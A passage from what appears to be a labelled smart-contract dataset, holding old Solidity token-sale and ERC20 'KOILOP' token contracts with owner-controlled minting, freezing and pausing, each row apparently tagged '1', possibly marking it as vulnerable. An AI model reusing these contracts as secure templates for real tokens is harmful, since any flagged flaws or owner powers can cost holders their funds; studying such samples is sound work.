uint256 when= account_frozen_time[ addr ];
if( when == 0x0) continue;
_frozen_holders[_num]= addr;
_whens[_num]= when;
_num++;
}
}
function simulate_token_sale(uint _ether_or_wei_value) public view
returns (uint256 _num_of_tokens, uint256 _exch_rate, uint256 _current_sale_stage_index) {
if(sale_stage_index >=5 ) return (0,0,0);
_exch_rate= sale_price_per_stage_wei_per_now[sale_stage_index];
_current_sale_stage_index= sale_stage_index;
if(_ether_or_wei_value>=1000000)
_num_of_tokens= uint256( _ether_or_wei_value / _exch_rate );
else
_num_of_tokens= uint256( _ether_or_wei_value * WEI_PER_ETHER / _exch_rate );
}
function z_admin_next_status(Sale_Status _next_status) onlyAdmin public {
if(_next_status== Sale_Status.Stage0_Sale_Started_STATUS) { start_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage0_Sale_Stopped_STATUS) { stop_StageN_Sale(0); return;}
if(_next_status== Sale_Status.Stage1_Sale_Started_STATUS) { start_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage1_Sale_Stopped_STATUS) { stop_StageN_Sale(1); return;}
if(_next_status== Sale_Status.Stage2_Sale_Started_STATUS) { start_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage2_Sale_Stopped_STATUS) { stop_StageN_Sale(2); return;}
if(_next_status== Sale_Status.Stage3_Sale_Started_STATUS) { start_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage3_Sale_Stopped_STATUS) { stop_StageN_Sale(3); return;}
if(_next_status== Sale_Status.Stage4_Sale_Started_STATUS) { start_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Stage4_Sale_Stopped_STATUS) { stop_StageN_Sale(4); return;}
if(_next_status== Sale_Status.Public_Allowed_To_Trade_STATUS) { start_Public_Trade(); return;}
if(_next_status== Sale_Status.Stage0_Allowed_To_Trade_STATUS) { start_Stage0_Trade(); return;}
if(_next_status== Sale_Status.Closed_STATUS) { closeContract(); return;}
revert();
}
} | 1 | 3,822 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "KOILOP";
string public constant TOKEN_SYMBOL = "KLP";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xBd709e3a19FAEC6cC24bFfA1050A0ea85d709f05;
uint public constant START_TIME = 1538672340;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,269 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.